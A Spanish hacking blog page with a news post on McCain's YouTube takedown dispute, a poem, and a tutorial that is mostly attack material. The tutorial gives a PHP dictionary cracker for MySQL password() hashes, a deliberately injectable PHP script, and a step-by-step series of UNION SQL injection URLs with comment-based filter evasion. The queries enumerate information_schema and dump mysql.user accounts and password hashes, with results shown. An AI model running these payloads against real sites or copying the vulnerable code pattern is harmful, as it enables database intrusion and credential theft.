Se queja McCain con YouTube

Posted on 17:18 by Xianur0

YouTube, el sitio de difusión de videos por internet, rechazó una petición para revisar sus políticas y dejar de remover en forma expedita videos de campaña del republicano John McCain que pudieran infringir leyes de derecho de autor.

Los videos de campaña de McCain han sido removidos con frecuencia por YouTube, tras recibir quejas de que algunos infringen las leyes de derecho de autor al utilizar imágenes y audios de debates de televisión y discos protegidos, sin contar con los permisos para ello.

El asesor legal de la campaña de McCain, Trevor Potter, envió esta semana una carta a los ejecutivos de YouTube y de Google, en la que solicitó una 'completa revisión legal' de las notificaciones de remoción interpuestas contra los vídeos colocados por las campañas políticas.

YouTube está protegido por el Acta Digital del Milenio sobre Derecho de Autor (DMCA, por sus siglas en inglés), de tener responsabilidad por difundir material ilegal, siempre y cuando la compañía actué y lo remueva cuando sea notificada de un video que infringe el derecho de autor.

Aun así, YouTube enfrenta demandas de parte de compañías distribuidoras de discos y videos, de infringir las leyes de derecho de autor.

En la respuesta a la carta de la campaña de McCain, el abogado en jefe de YouTube, Zahavah Levine, explicó la dificultad que tienen jueces y abogados sobre lo que constituye un uso justo de los materiales con derecho de autor.

'Ningún número de abogados puede posiblemente determinar con un nivel razonable de certitud si todos los vídeos de los que recibimos quejas para que sean removidos califican como de uso justo', dijo Levine.

'La DMCA provee una salvaguarda de seguridad estatutaria para proveedores de servicio como YouTube que albergan contenido', explicó.

'Sin esta salvaguarda de seguridad, sitios como YouTube no pudieran existir. El problema real aquí es las entidades e individuos que abusan el proceso de la DMCA', agregó el abogado de la compañía.

McCain, quien se encuentra abajo en las encuestas y ha sido sobrepasado en gastos de publicidad por su contrincante, el demócrata Barack Obama, busca mantenerse vivo y sin menoscabo en el poderoso canal de difusión que significa YouTube.

En la actual contienda electoral en Estados Unidos, YouTube está robando en forma importante audiencias a las cadenas nacionales de televisión, al convertirse en un sitio casi imprescindible para las campañas políticas.

De acuerdo con el Centro de Investigación Pew, un 35 por ciento de los estadunidenses encuestados en la primavera pasada indicaron haber visto vídeos relacionados a las campañas políticas tres veces más que en 2004.

Jaquemate

Posted on 11:36 by Xianur0


Se que no cree este Blog para esto, pero quiero que comprendan un poco el por que de mis acciones.... un Verso de mi autoria:


Sueña que hay por que vivir
sueña que alguien te regalara una emoción
sueña que alguien cree en ti
aunque simplemente te quieran destruir
sin importar lo que piensen nosotros existimos
no somos nadie al nacer
solo queda ser leyenda
no somos nadie si nada hacemos
juega este juego que es la vida
cree en que hay esperanza, pero no la hay
has de este mundo tu tablero
no temas mover las piezas del destino
tan solo gana
no temas sacrificar algo
por que nada es permanente
al final en esta vida el juego es sobrevivir
Eres dios o solo un perdedor?
Ganadores somos los que queremos serlo
y los demás nuestros peones
En este juego del destino solo queda ganar o morir
Al Final una explosión pasajera de imágenes
Que con Mi puño cambiare
Forja el Destino cual espada
Y Recuerda por que estas aquí
Aprende de tus errores y Gana la partida
La Victoria es nuestra
Tu alma me pertenecerá si te equivocas
Nadie esperara tu turno
Siempre eres vulnerable
Haste fuerte o Muere
Por que el Juego Comienza!


No seré Tan Solo Un Peón!

Crackeador password() MySQL

Posted on 17:32 by Xianur0

Por Correo me pidieron el crackeador con insistencia, así que en un tiempo libre que logre hacerme, hice este crackeador, el cual necesita una base de datos txt y un servidor MySQL (sirve permisos nobody):


<html>
<body>
<?php
$server = "localhost";
$usuario = "nobody";
$password = "";
$diccionario = "diccionario.txt";

if(is_array($_GET['hash'])) { print "Intento de Path Disclosure Detectado!\n"; exit; } else { $hash = $_GET['hash'];}
if(eregi("[SELECT]+[UNION]+[AND]+[OR]+[)]", $hash)) exit;
htmlentities($hash);
$link = mysql_connect($server, $usuario, $password);
if(!mysql_real_escape_string($hash, $link)) exit;
$archivo = file($diccionario);
foreach($archivo as $n=>$linea) {
$resultado = mysql_query("SELECT password('$linea')", $link);
while ($row = mysql_fetch_row($resultado)){
if($row[0] == $hash) {
die("<b>Password Encontrada:</b> $linea\n<br><b>Passwords Probadas:</b> $n\n<br>");
}
}}
?>
</body>
</html>

Ejemplo:

http://127.0.0.1/crackeador.php?hash=*E30E2ECBF3FC6D46D4239C068C14E6A202B1019B

Resultado:

Password Encontrada: xianur0
Passwords Probadas: 0

(lo encontró en el primer dato que leio xD...)

Suponiendo que tenemos una SQL Injection, pero no encontramos datos útiles, para ello tenemos muchas opciones que muchas veces están por default en los servidores, y otras tablas de administradores de archivos/bases de datos, también nos son útiles:

  • information_schema
  • mysql
  • etc....
Comenzaremos con la information_schema:

Tablas:

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS


Comenzaremos identificando las tablas que hay y en que DB's se encuentran, pero para ello necesitamos un script vulnerable para practicar:


Estructura de la DB:

use test;
CREATE TABLE `usuarios` (
`id` int(11) NOT NULL auto_increment,
`nombre` varchar(180) NOT NULL default '',
`email` varchar(50) NOT NULL default '',
PRIMARY KEY (`id`)
);
insert into usuarios values
(1, 'xianur0', 'uxmal666@gmail.com');
insert into usuarios values
(2, 'UxMal', 'uxmal666@gmail.com');

vuln.php

<?php
$id = $_GET['id'];
$conexion
= mysql_connect("localhost", "xianur0","mipassword");
mysql_select_db("test", $conexion);
$consulta
= "SELECT * FROM usuarios Where id = $id";
$resultado
= mysql_query($consulta, $conexion) or die(mysql_error());
$todo
= mysql_num_rows($resultado);
if ($todo> 0) {
$row = mysql_fetch_assoc($resultado);
echo "<strong>".$row['id']."</strong><br>";
echo "Nombre: ".$row['nombre']."<br>";
echo "Email: ".$row['email']."<br><br>";
}
?>

Hacemos la Consulta: http://127.0.0.1/vuln.php?id=1

Resultado:

1
Nombre: xianur0
Email: uxmal666@gmail.com

Comenzamos a Inyectar:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1

Resultado:
The used SELECT statements have a different number of columns

Podemos usar el fuzzer que también esta en este blog o hacerlo manualmente (como prefieran):

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1,1

Resultado:

1
Nombre: 1
Email: 1

Comenzamos a Sacar Datos:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,2,table_name/**/FROM/**/information_schema.tables

Resultado:

1
Nombre: 2
Email: CHARACTER_SETS

Bueno al no haber un error SQL y al responder con el nombre de una tabla, quiere decir que existe information_schema (valgame la redundancia), sigamos inyectando:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables

Donde: TABLE_SCHEMA es la DB y table_name es el nombre de la tabla.

Resultado:

information_schema
Nombre: 2
Email: CHARACTER_SETS

ya tenemos la primera tabla de esa DB (el information_schema no esta considerando la DB test).

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_name/**/NOT/**/IN/**/('CHARACTER_SETS')


Resultado:

information_schema
Nombre: 2
Email: COLLATIONS

ahora que si lo que queremos es saber cuales bases de datos existen:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema')

Resultado:

mysql
Nombre: 2
Email: db

Bueno tenemos ya 2 bases de datos:
mysql e information_schema, sigamos:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql')

Resultado:

phpmyadmin
Nombre: 2
Email: xianur0_bookmark

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin')

Resultado:

test
Nombre: 2
Email: usuarios


Bueno ahí esta la tabla inicial y la DB inicial...

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin','test')

Y ahora no nos devolverá nada (ya no hay base de datos), ahora vamos por columnas:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns

Resultado:

information_schema
Nombre: CHARACTER_SETS
Email: CHARACTER_SET_NAME

No es de gran utilidad esa informacion, pero si hacemos una sentencia mas exacta:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'

Resultado:

test
Nombre: usuarios
Email: id

Base de datos: test
Tabla: usuarios
Columna: id

Esto funciona como queremos por que solo existe una tabla en nuestra base de datos test, pero si existiese mas de una tabla y queremos saber específicamente las columnas de la tabla usuarios:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'

ahora saquemos la siguiente:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'/**/AND/**/COLUMN_NAME/**/NOT/**/IN/**/('id')

Resultado:

test
Nombre: usuarios
Email: nombre

Yo se que hay mil y una forma de obtener este resultado, pero no iré a conceptos, simplemente hablare de la técnica.

Ahora que para sacar las DB hay una forma mas facil (también basándose en el information_schema), esta otra forma es mediante la tabla schemata:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME/**/FROM/**/information_schema.schemata

y bueno el resto ya lo saben..

Busquen en google la estructura del information_schema o bien instalen el xampp (ese trae information_schema por default)

Ahora vamos con mysql

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Select_priv,Host/**/FROM/**/mysql.user

Resultado:

root��������������������������������������������
Nombre: Y
Email: localhost


podríamos intentar sacar la password, pero no en todos los MySQL Funciona...

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Password,Host/**/FROM/**/mysql.user


xianur0
Nombre: *CEE870801502ACAD44FA46CA2CA4F58C2B721A67
Email: localhost

El password que obtuvimos (si es que lo permitió el MySQL) esta encriptado por la funcion password() de mysql (no dire en este texto como desencriptarlo).

Obtengamos información:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Db,Select_priv/**/FROM/**/mysql.db

Resultado:

pma
Nombre: mysql
Email: N


Bueno hasta aquí dejare este texto, pero seguiré escribiendo algunas cosas útiles cuando tenga tiempo....

By Xianur0
http://xianur0.blogspot.com